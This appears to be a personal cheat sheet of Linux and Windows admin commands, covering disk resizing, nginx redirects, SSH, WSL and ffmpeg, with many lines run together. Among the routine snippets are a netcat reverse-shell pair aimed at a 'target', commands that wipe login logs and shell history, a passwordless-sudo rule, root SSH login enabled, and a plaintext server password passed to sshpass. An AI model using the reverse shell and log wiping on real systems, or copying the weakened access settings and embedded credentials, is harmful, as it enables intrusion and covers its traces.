sudo !!<Ctrl+r>
cdcd -In $HOME/.bashrc or elsewhere
alias gpush="git push"cat /etc/os-release
cat /etc/lsb-release
cat /etc/issuefree -hncducat /proc/cpuinfo | awk '/^processor/{print $3}' | wc -lcut -d\: -f1 /etc/passwdtouch a{1..9}.txt
cp a{1..9}.txt backup-dirdf -hdu -h [file/dir name]# This is an `apt autoremove` counterpart
pacman -Rns $(pacman -Qdtq)If password login is enabled, failed login attempts will be very annoying.
Below config will block those attempts in CentOS.
firewall-cmd --permanent --add-source=185.75.166.0/24 --zone=trusted
firewall-cmd --permanent --add-service=ssh --zone trusted
firewall-cmd --permanent --remove-service=ssh --zone-public
firewall-cmd –reload
last
sudo lastb>/var/log/wtmp
>/var/log/btmphistory -cor
>~/.bash_historyadduser debian
usermod -aG sudo debian
getent group sudo # verify
su - debian # login as debiandebian is the new username
# Debian
usermod -aG sudo username
# CentOS
usermod -aG wheel usernameThen run this
visudoAnd add this line to the end of the file /etc/sudoers
username ALL=(ALL) NOPASSWD:ALLsudo adduser username groupnameThen reboot.
vim /etc/ssh/sshd_configEdit the content like so:
PasswordAuthentication yes
PermitRootLogin prohibit-password -> PermitRootLogin yesThen run this:
systemctl restart sshd# ip-guard.conf or name it as you like
server {
listen 80 default_server;
return 444;
}
lsb_release -a
cat /etc/issue
cat /etc/os-release
hostnamectl
*crazyoptimist.net/*
# Forwarding URL : 301 Permanent Redirect
https://crazyoptimist.net/$2
server {
if ($host = crazyoptimist.net) {
return 301 https://www.$host$request_uri;
}
server_name crazyoptimist.net;
listen 80;
return 404; # managed by Certbot
}
server {
if ($host = crazyoptimist.net) {
return 301 https://www.$host$request_uri;
}
server_name crazyoptimist.net;
listen 443 ssl;
return 404; # managed by Certbot
}
To make the computer running after closing the lid.
HandleLidSwitch=ignore in /etc/systemd/logind.conf
IgnoreLid=true in /etc/UPower/UPower.confapt --fix-broken install -ysudo cat /etc/shells
chsh <username>
Then select /bin/bash or /bin/zsh 😊
sshpass -p '!QAZXSW@' ssh [email protected] "cd /var/www/ebay.paytroy && sudo git pull"- The semicolon (;) operator allows you to execute multiple commands in succession, regardless of whether each previous command succeeds.
- If you want the second command to only run if the first command is successful, separate the commands with the logical AND operator, which is two ampersands ( && ).
who -u
sudo kill “pid”apt list –-installedssh -L localPort:localhost:hostPort -C -N -l username hostnamevim /etc/default/grub
GRUB_TIMEOUT=2
sudo update-grubapt update -y && apt upgrade -y
apt install xfce4 xfce4-goodies
systemctl enable --now lightdm
# download anydesk and run:
anydesk --get-id
echo your-password | anydesk --set-password# change the default display manager(gdm3, lightdm, sddm, lxdm)
# kde only goes with sddm
sudo apt install sddm
# if you only need to switch(i.e. already installed it)
sudo dpkg-reconfigure sddm
# start the service
sudo systemctl enable sddm
sudo systemctl disable lightdm
# change the login manager, specifically in kde
# open System Settings, go to Startup and Shutdown, and figure it out# it turned out that AppArmor service was messing up with Docker
sudo aa-remove-unknown
docker container kill $(docker ps -q)
# or
sudo apt-get purge --auto-remove apparmor
sudo service docker restart
docker system prune --all --volumes
Run lsblk which will print something like:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 200G 0 disk
└─sda1 8:1 0 200G 0 part /
sdb 8:16 0 400G 0 disk
└─sdb1 8:17 0 199.5G 0 part /mntRun fdisk like this:
fdisk /dev/sdb
# carefully check where the partition starts
p
# remove the existing patition
d
# create a new patition with the whole free space
n
# write changes
w
Resize the file system, ext4 can be resized online.
resize2fs /dev/sdb1
Run lsblk to confirm the result:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 200G 0 disk
└─sda1 8:1 0 200G 0 part /
sdb 8:16 0 400G 0 disk
└─sdb1 8:17 0 400G 0 part /mnt
- listen for linux target
nc -lnvp MY_PORT -s MY_PUBLIC_IP
- script on linux target
nc -e /bin/bash MY_PUBLIC_IP MY_PORT
wThis command will display all the live users on the machine.
Checkout TTY and WHAT columns.
sudo pkill -9 -t pts/1pts/1 is just an example value from TTY column.
Go to %USERPROFILE%
Create a file .wslconfig
[wsl2]
# Limits VM memory to use no more than 8 GB, this can be set as whole numbers using GB or MB
memory=8GB
# Limits number of cores
processors=4/etc/wsl.conf is used for distro-specific config.
Type \\wsl$ in file explorer
It's 1024 by default. Check by ulimit -n or ulimit -a
sudo prlimit --nofile=8192 --pid $$; ulimit -n 8192First find the Process ID (PID) associated with the port, eg. 5000
lsof -i tcp:5000Kill the process:
kill -9 <PID>man nmcli
# Show all active network devices
nmcli device show
# Show all active connections
nmcli connection show --active
# Delete a connection permanently
nmcli connection delete <connection name>List all ports in use
sudo lsof -nP -iTCP -sTCP:LISTENCheck a specific port (if it's already listening or available for mapping)
sudo lsof -nP -i:[port-number]:vimgrep /pattern/./**/*.ext
:vimgrep /pattern/subdirname/**/*.ext
For all extensions, you can use *.*
sudo pacman -S --needed base-devel git
git clone https://aur.archlinux.org/yay-git.git
cd yay
makepkg -si# Get PIDs of a service
pidof <Service Name>
pgrep <Service Name (stripped the first 15 characters)>
# Kill it
sudo kill -9 <PID>
# Get the UID from a PID
cat /proc/<PID>/status | grep Uid
# Get the username from a UID
id -un
# Get the groupname from a UID
id -gnmkdir -p $HOME/.config/systemd/user/<Service Name>.service
systemctl --user status <Service Name>
systemctl --user list-units --type=target$cert = New-SelfSignedCertificate -Subject "Screen Capture Control Panel" -CertStoreLocation "./" -HashAlgorithm sha256 -type CodeSigning
$pwd = ConvertTo-SecureString -String "{123456}" -Force -AsPlainText
Export-PfxCertificate -cert $cert -FilePath screen-client.pfx -Password $pwd
signtool.exe sign /f screen-client.pfx /fd sha256 /p "{123456}" screen-client.exeUse this RUN command.
netplwiz
Use pnputil in CMD
pnputil /export-driver * "<full path of the destination folder>"
pnputil /add-driver "<full path of the backup folder>\*.inf" /subdirs /install
sudo pacman -S noto-fonts noto-fonts-cjk
sudo pacman -Sy fcitx5-im fcitx5-hangul fcitx5-configtoolError mounting /dev/sdb2 at /run/media: "wrong fs type, bad option, bad superblock."
sudo ntfsfix -d /dev/sdb2
ffmpeg -i input.mp4 -ss 00:05:10 -to 00:15:30 -c:v copy -c:a copy output.mp4# scale to one-quarter; use iw/4 for one-half
ffmpeg -i input.mp4 -vf "scale=trunc(iw/8)*2:trunc(ih/8)*2" -vcodec libx265 -crf 28 out.mp4bcdedit /?
bcdedit /enum firmwareInstall and use efibootmgr
sudo pacman -S man-db
sudo mandbsudo tlp setcharge STOP_CHARGE_THRESH 1Use diskpart.exe
list disk
select disk 2
# this time you'll see an asterisk before the selected disk name
list disk
# reset the selected disk to factory settings
clean
exit